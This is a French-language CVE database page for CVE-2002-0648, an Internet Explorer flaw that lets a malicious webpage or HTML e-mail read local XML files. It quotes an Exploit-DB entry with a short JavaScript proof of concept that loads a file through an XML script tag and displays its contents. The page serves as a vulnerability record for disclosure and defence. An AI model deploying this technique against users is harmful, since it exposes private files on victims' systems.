CVE-2002-0648

EPSS

59.28%V4

Vecteur

Network

Publié

2003-04-02
03h00 +00:00

Modifié

2003-03-20
23h00 +00:00

Liens officiels

CVE.org

NVD

Notifications pour un CVE

Restez informé de toutes modifications pour un CVE spécifique.

Gestion des notifications

Liste des Notifications

Notifications pour un CVE

Restez informé de toutes modifications pour un CVE spécifique.

Critères appliqués l'envoi de l'alerte : par rapport à la dernière alerte envoyée + différences au niveau de CISA, EPSS, CVSS, CWE, Solutions, CPE.

Paramètres

Vous pouvez spécifier un titre qui sera récupéré dans les alertes qui seront envoyées.

Spécifiez ici un CVE ID comme CVE-2025-1234

Planifications

Mois

Prochaine exécution calculée

Jour

Jour de la semaine

Heure

Minute

Date de création

Dernière exécution

Prochaine exécution

Fonctionnalité nécessitant une connexion

Cette fonctionnalité qui vous permet de recevoir des alertes, n'est active que lorsque vous êtes connecté à votre compte.

Descriptions du CVE

The legacy

Informations sur l'Exploit

Exploit Database EDB-ID : 21749

Date de publication : 2002-08-22 22h00 +00:00
Auteur : GreyMagic Software
EDB Vérifié : Yes

source: https://www.securityfocus.com/bid/5560/info A flaw in Microsoft Internet Explorer may reveal the entire contents of XML files and partial contents of other files to attackers. This vulnerability allows an attacker to read the entire contents of XML files, and fragments of other files, existing in a known location, from a victim user's system. This vulnerability can be exploited via a malicious webpage or via malicious HTML e-mail. Other applications that use the Internet Explorer engine are affected as well (Outlook, MSN Explorer, etc.). <script language="xml" src="getFile.asp" id="oFile"></script> <script language="jscript"> onload=function () { var oXD=oFile.XMLDocument, oPE=oXD.parseError; alert( oXD.firstChild || oPE.line>0 ? "File found!\n"+ "Details:\n\n"+ (oXD.xml || "Line "+oPE.line+" contains '"+oPE.srcText+"'") : "File does not exist or could not be retrieved." ); } </script>